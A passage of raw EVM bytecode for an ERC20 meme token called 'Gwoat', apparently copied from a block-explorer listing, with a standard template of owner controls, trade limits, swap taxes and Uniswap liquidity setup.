fffffffffffffffff1681526020019081526020015f2054611c0190919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611b398587611bb890919063ffffffff16565b604051611b469190612308565b60405180910390a350505b505050565b5f838311158290611b9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9491906121d7565b60405180910390fd5b505f8385611bab9190612d2d565b9050809150509392505050565b5f611bf983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b56565b905092915050565b5f808284611c0f9190612c4b565b905083811015611c54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4b90612daa565b60405180910390fd5b8091505092915050565b5f808303611c6e575f9050611ccf565b5f8284611c7b91906125dc565b9050828482611c8a919061271a565b14611cca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc190612e38565b60405180910390fd5b809150505b92915050565b5f611d1683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612106565b905092915050565b5f818311611d2c5782611d2e565b815b905092915050565b6001601360156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611d6d57611d6c612e56565b5b604051908082528060200260200182016040528015611d9b5781602001602082028036833780820191505090505b50905030815f81518110611db257611db1612e83565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611e56573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611e7a9190612863565b81600181518110611e8e57611e8d612e83565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ef43060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fa3565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611f56959493929190612f67565b5f604051808303815f87803b158015611f6d575f80fd5b505af1158015611f7f573d5f803e3d5ffd5b50505050505f601360156101000a81548160ff02191690831515021790555050565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612005573d5f803e3d5ffd5b5050565b5f811115612101578060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461205a9190612c4b565b60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516120f89190612308565b60405180910390a35b505050565b5f808311829061214c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214391906121d7565b60405180910390fd5b505f838561215a919061271a565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6121a982612167565b6121b38185612171565b93506121c3818560208601612181565b6121cc8161218f565b840191505092915050565b5f6020820190508181035f8301526121ef818461219f565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612224826121fb565b9050919050565b6122348161221a565b811461223e575f80fd5b50565b5f8135905061224f8161222b565b92915050565b5f819050919050565b61226781612255565b8114612271575f80fd5b50565b5f813590506122828161225e565b92915050565b5f806040838503121561229e5761229d6121f7565b5b5f6122ab85828601612241565b92505060206122bc85828601612274565b9150509250929050565b5f8115159050919050565b6122da816122c6565b82525050565b5f6020820190506122f35f8301846122d1565b92915050565b61230281612255565b82525050565b5f60208201905061231b5f8301846122f9565b92915050565b5f805f60608486031215612338576123376121f7565b5b5f61234586828701612241565b935050602061235686828701612241565b925050604061236786828701612274565b9150509250925092565b5f60ff82169050919050565b61238681612371565b82525050565b5f60208201905061239f5f83018461237d565b92915050565b5f602082840312156123ba576123b96121f7565b5b5f6123c784828501612241565b91505092915050565b6123d98161221a565b82525050565b5f6020820190506123f25f8301846123d0565b92915050565b5f806040838503121561240e5761240d6121f7565b5b5f61241b85828601612241565b925050602061242c85828601612241565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156124b85780860481111561249457612493612436565b5b60018516156124a35780820291505b80810290506124b185612463565b9450612478565b94509492505050565b5f826124d0576001905061258b565b816124dd575f905061258b565b81600181146124f357600281146124fd5761252c565b600191505061258b565b60ff84111561250f5761250e612436565b5b8360020a91508482111561252657612525612436565b5b5061258b565b5060208310610133831016604e8410600b84101617156125615782820a90508381111561255c5761255b612436565b5b61258b565b61256e848484600161246f565b9250905081840481111561258557612584612436565b5b81810290505b9392505050565b5f61259c82612255565b91506125a783612371565b92506125d47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846124c1565b905092915050565b5f6125e682612255565b91506125f183612255565b92508282026125ff81612255565b9150828204841483151761261657612615612436565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612651602083612171565b915061265c8261261d565b602082019050919050565b5f6020820190508181035f83015261267e81612645565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6126b9601783612171565b91506126c482612685565b602082019050919050565b5f6020820190508181035f8301526126e6816126ad565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61272482612255565b915061272f83612255565b92508261273f5761273e6126ed565b5b828204905092915050565b5f819050919050565b5f819050919050565b5f61277661277161276c8461274a565b612753565b612255565b9050919050565b6127868161275c565b82525050565b5f60c08201905061279f5f8301896123d0565b6127ac60208301886122f9565b6127b9604083018761277d565b6127c6606083018661277d565b6127d360808301856123d0565b6127e060a08301846122f9565b979650505050505050565b5f815190506127f98161225e565b92915050565b5f805f60608486031215612816576128156121f7565b5b5f612823868287016127eb565b9350506020612834868287016127eb565b9250506040612845868287016127eb565b9150509250925092565b5f8151905061285d8161222b565b92915050565b5f60208284031215612878576128776121f7565b5b5f6128858482850161284f565b91505092915050565b5f6040820190506128a15f8301856123d0565b6128ae60208301846123d0565b9392505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61290f602483612171565b915061291a826128b5565b604082019050919050565b5f6020820190508181035f83015261293c81612903565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61299d602283612171565b91506129a882612943565b604082019050919050565b5f6020820190508181035f8301526129ca81612991565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612a2b602583612171565b9150612a36826129d1565b604082019050919050565b5f6020820190508181035f830152612a5881612a1f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612ab9602383612171565b9150612ac482612a5f565b604082019050919050565b5f6020820190508181035f830152612ae681612aad565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612b47602983612171565b9150612b5282612aed565b604082019050919050565b5f6020820190508181035f830152612b7481612b3b565b9050919050565b7f54726164696e67206973206e6f7420656e61626c6564000000000000000000005f82015250565b5f612baf601683612171565b9150612bba82612b7b565b602082019050919050565b5f6020820190508181035f830152612bdc81612ba3565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612c17601983612171565b9150612c2282612be3565b602082019050919050565b5f6020820190508181035f830152612c4481612c0b565b9050919050565b5f612c5582612255565b9150612c6083612255565b9250828201905080821115612c7857612c77612436565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612cb2601a83612171565b9150612cbd82612c7e565b602082019050919050565b5f6020820190508181035f830152612cdf81612ca6565b9050919050565b5f612cf082612255565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d2257612d21612436565b5b600182019050919050565b5f612d3782612255565b9150612d4283612255565b9250828203905081811115612d5a57612d59612436565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612d94601b83612171565b9150612d9f82612d60565b602082019050919050565b5f6020820190508181035f830152612dc181612d88565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612e22602183612171565b9150612e2d82612dc8565b604082019050919050565b5f6020820190508181035f830152612e4f81612e16565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612ee28161221a565b82525050565b5f612ef38383612ed9565b60208301905092915050565b5f602082019050919050565b5f612f1582612eb0565b612f1f8185612eba565b9350612f2a83612eca565b805f5b83811015612f5a578151612f418882612ee8565b9750612f4c83612eff565b925050600181019050612f2d565b5085935050505092915050565b5f60a082019050612f7a5f8301886122f9565b612f87602083018761277d565b8181036040830152612f998186612f0b565b9050612fa860608301856123d0565b612fb560808301846122f9565b969550505050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220841761dcb09eab4848dab59a03dcc5753c580f05480409acc0091f45f8c48c5164736f6c634300081a0033

Deployed Bytecode

0x608060405260043610610117575f3560e01c8063751039fc1161009f57806395d89b411161006357806395d89b41146103545780639e78fb4f1461037e578063a9059cbb14610394578063bf474bed146103d0578063dd62ed3e146103fa5761011e565b8063751039fc146102aa5780637d1db4a5146102c05780638a8c523c146102ea5780638da5cb5b146103005780638f9a55c01461032a5761011e565b806320800a00116100e657806320800a00146101dc57806323b872dd146101f2578063313ce5671461022e57806370a0823114610258578063715018a6146102945761011e565b806306fdde0314610122578063095ea7b31461014c5780630faee56f1461018857806318160ddd146101b25761011e565b3661011e57005b5f80fd5b34801561012d575f80fd5b50610136610436565b60405161014391906121d7565b60405180910390f35b348015610157575f80fd5b50610172600480360381019061016d9190612288565b610473565b60405161017f91906122e0565b60405180910390f35b348015610193575f80fd5b5061019c610490565b6040516101a99190612308565b60405180910390f35b3480156101bd575f80fd5b506101c6610496565b6040516101d39190612308565b60405180910390f35b3480156101e7575f80fd5b506101f06104b9565b005b3480156101fd575f80fd5b5061021860048036038101906102139190612321565b61059a565b60405161022591906122e0565b60405180910390f35b348015610239575f80fd5b5061024261066e565b60405161024f919061238c565b60405180910390f35b348015610263575f80fd5b5061027e600480360381019061027991906123a5565b610676565b60405161028b9190612308565b60405180910390f35b34801561029f575f80fd5b506102a86106bc565b005b3480156102b5575f80fd5b506102be61080a565b005b3480156102cb575f80fd5b506102d4610945565b6040516102e19190612308565b60405180910390f35b3480156102f5575f80fd5b506102fe61094b565b005b34801561030b575f80fd5b50610314610b37565b60405161032191906123df565b60405180910390f35b348015610335575f80fd5b5061033e610b5e565b60405161034b9190612308565b60405180910390f35b34801561035f575f80fd5b50610368610b64565b60405161037591906121d7565b60405180910390f35b348015610389575f80fd5b50610392610ba1565b005b34801561039f575f80fd5b506103ba60048036038101906103b59190612288565b610ef7565b6040516103c791906122e0565b60405180910390f35b3480156103db575f80fd5b506103e4610f14565b6040516103f19190612308565b60405180910390f35b348015610405575f80fd5b50610420600480360381019061041b91906123f8565b610f1a565b60405161042d9190612308565b60405180910390f35b60606040518060400160405280600581526020017f47776f6174000000000000000000000000000000000000000000000000000000815250905090565b5f61048661047f610f9c565b8484610fa3565b6001905092915050565b60105481565b5f6009600a6104a59190612592565b633b9aca006104b491906125dc565b905090565b6104c1610f9c565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461054d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161054490612667565b60405180910390fd5b610555610b37565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610597573d5f803e3d5ffd5b50565b5f6105a6848484611166565b610663846105b2610f9c565b61065e85604051806060016040528060288152602001612fc06028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610615610f9c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b569092919063ffffffff16565b610fa3565b600190509392505050565b5f6009905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6106c4610f9c565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610750576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074790612667565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610812610f9c565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461089e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089590612667565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600d819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600e819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60405161093b9190612308565b60405180910390a1565b600d5481565b610953610f9c565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d690612667565b60405180910390fd5b601360149054906101000a900460ff1615610a2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a26906126cf565b60405180910390fd5b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473060646062610a7b30610676565b610a8591906125dc565b610a8f919061271a565b5f80610a99610b37565b426040518863ffffffff1660e01b8152600401610abb9695949392919061278c565b60606040518083038185885af1158015610ad7573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610afc91906127ff565b5050506001601360166101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600e5481565b60606040518060400160405280600581526020017f47574f4154000000000000000000000000000000000000000000000000000000815250905090565b610ba9610f9c565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2c90612667565b60405180910390fd5b601360149054906101000a900460ff1615610c85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7c906126cf565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d213060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610d0d9190612592565b633b9aca00610d1c91906125dc565b610fa3565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d8b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610daf9190612863565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e35573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e599190612863565b6040518363ffffffff1660e01b8152600401610e7692919061288e565b6020604051808303815f875af1158015610e92573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610eb69190612863565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f610f0a610f03610f9c565b8484611166565b6001905092915050565b600f5481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611011576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100890612925565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361107f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611076906129b3565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111599190612308565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111cb90612a41565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611242576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123990612acf565b60405180910390fd5b5f8111611284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127b90612b5d565b60405180910390fd5b61128c610b37565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806112f757506112c8610b37565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b8061132d57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061136357503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156114f4576113b88160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611bb890919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506114498160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c0190919063ffffffff16565b60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516114e79190612308565b60405180910390a3611b51565b5f601360149054906101000a900460ff1680611556575060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611595576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158c90612bc5565b60405180910390fd5b6115d160646115c3600954600c54116115b0576005546115b4565b6007545b85611c5e90919063ffffffff16565b611cd590919063ffffffff16565b905060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561167c575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156116cf575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561178957600d54821115611719576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171090612c2d565b60405180910390fd5b600e548261172685610676565b6117309190612c4b565b1115611771576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176890612cc8565b60405180910390fd5b600c5f81548092919061178390612ce6565b91905055505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561181157503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611855576118526064611844600a54600c541161183157600654611835565b6008545b85611c5e90919063ffffffff16565b611cd590919063ffffffff16565b90505b5f61185f30610676565b9050601360159054906101000a900460ff161580156118ca575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156118e25750601360169054906101000a900460ff165b156119985760035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661197a57600f54811180156119495750600b54600c54115b1561196c5761196b6119668461196184601054611d1e565b611d1e565b611d36565b5b61197547611fa1565b611997565b6119908585848661198b9190612d2d565b612009565b5050611b51565b5b6119a3853084612009565b6119f38360015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611bb890919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611a96611a4a8385611bb890919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c0190919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611b398587611bb890919063ffffffff16565b604051611b469190612308565b60405180910390a350505b505050565b5f838311158290611b9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9491906121d7565b60405180910390fd5b505f8385611bab9190612d2d565b9050809150509392505050565b5f611bf983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b56565b905092915050565b5f808284611c0f9190612c4b565b905083811015611c54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4b90612daa565b60405180910390fd5b8091505092915050565b5f808303611c6e575f9050611ccf565b5f8284611c7b91906125dc565b9050828482611c8a919061271a565b14611cca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc190612e38565b60405180910390fd5b809150505b92915050565b5f611d1683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612106565b905092915050565b5f818311611d2c5782611d2e565b815b905092915050565b6001601360156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611d6d57611d6c612e56565b5b604051908082528060200260200182016040528015611d9b5781602001602082028036833780820191505090505b50905030815f81518110611db257611db1612e83565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611e56573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611e7a9190612863565b81600181518110611e8e57611e8d612e83565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ef43060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fa3565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611f56959493929190612f67565b5f604051808303815f87803b158015611f6d575f80fd5b505af1158015611f7f573d5f803e3d5ffd5b50505050505f601360156101000a81548160ff02191690831515021790555050565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612005573d5f803e3d5ffd5b5050565b5f811115612101578060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461205a9190612c4b565b60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516120f89190612308565b60405180910390a35b505050565b5f808311829061214c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214391906121d7565b60405180910390fd5b505f838561215a919061271a565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6121a982612167565b6121b38185612171565b93506121c3818560208601612181565b6121cc8161218f565b840191505092915050565b5f6020820190508181035f8301526121ef818461219f565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612224826121fb565b9050919050565b6122348161221a565b811461223e575f80fd5b50565b5f8135905061224f8161222b565b92915050565b5f819050919050565b61226781612255565b8114612271575f80fd5b50565b5f813590506122828161225e565b92915050565b5f806040838503121561229e5761229d6121f7565b5b5f6122ab85828601612241565b92505060206122bc85828601612274565b9150509250929050565b5f8115159050919050565b6122da816122c6565b82525050565b5f6020820190506122f35f8301846122d1565b92915050565b61230281612255565b82525050565b5f60208201905061231b5f8301846122f9565b92915050565b5f805f60608486031215612338576123376121f7565b5b5f61234586828701612241565b935050602061235686828701612241565b925050604061236786828701612274565b9150509250925092565b5f60ff82169050919050565b61238681612371565b82525050565b5f60208201905061239f5f83018461237d565b92915050565b5f602082840312156123ba576123b96121f7565b5b5f6123c784828501612241565b91505092915050565b6123d98161221a565b82525050565b5f6020820190506123f25f8301846123d0565b92915050565b5f806040838503121561240e5761240d6121f7565b5b5f61241b85828601612241565b925050602061242c85828601612241565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156124b85780860481111561249457612493612436565b5b60018516156124a35780820291505b80810290506124b185612463565b9450612478565b94509492505050565b5f826124d0576001905061258b565b816124dd575f905061258b565b81600181146124f357600281146124fd5761252c565b600191505061258b565b60ff84111561250f5761250e612436565b5b8360020a91508482111561252657612525612436565b5b5061258b565b5060208310610133831016604e8410600b84101617156125615782820a90508381111561255c5761255b612436565b5b61258b565b61256e848484600161246f565b9250905081840481111561258557612584612436565b5b81810290505b9392505050565b5f61259c82612255565b91506125a783612371565b92506125d47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846124c1565b905092915050565b5f6125e682612255565b91506125f183612255565b92508282026125ff81612255565b9150828204841483151761261657612615612436565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612651602083612171565b915061265c8261261d565b602082019050919050565b5f6020820190508181035f83015261267e81612645565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6126b9601783612171565b91506126c482612685565b602082019050919050565b5f6020820190508181035f8301526126e6816126ad565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61272482612255565b915061272f83612255565b92508261273f5761273e6126ed565b5b828204905092915050565b5f819050919050565b5f819050919050565b5f61277661277161276c8461274a565b612753565b612255565b9050919050565b6127868161275c565b82525050565b5f60c08201905061279f5f8301896123d0565b6127ac60208301886122f9565b6127b9604083018761277d565b6127c6606083018661277d565b6127d360808301856123d0565b6127e060a08301846122f9565b979650505050505050565b5f815190506127f98161225e565b92915050565b5f805f60608486031215612816576128156121f7565b5b5f612823868287016127eb565b9350506020612834868287016127eb565b9250506040612845868287016127eb565b9150509250925092565b5f8151905061285d8161222b565b92915050565b5f60208284031215612878576128776121f7565b5b5f6128858482850161284f565b91505092915050565b5f6040820190506128a15f8301856123d0565b6128ae60208301846123d0565b9392505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61290f602483612171565b915061291a826128b5565b604082019050919050565b5f6020820190508181035f83015261293c81612903565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61299d602283612171565b91506129a882612943565b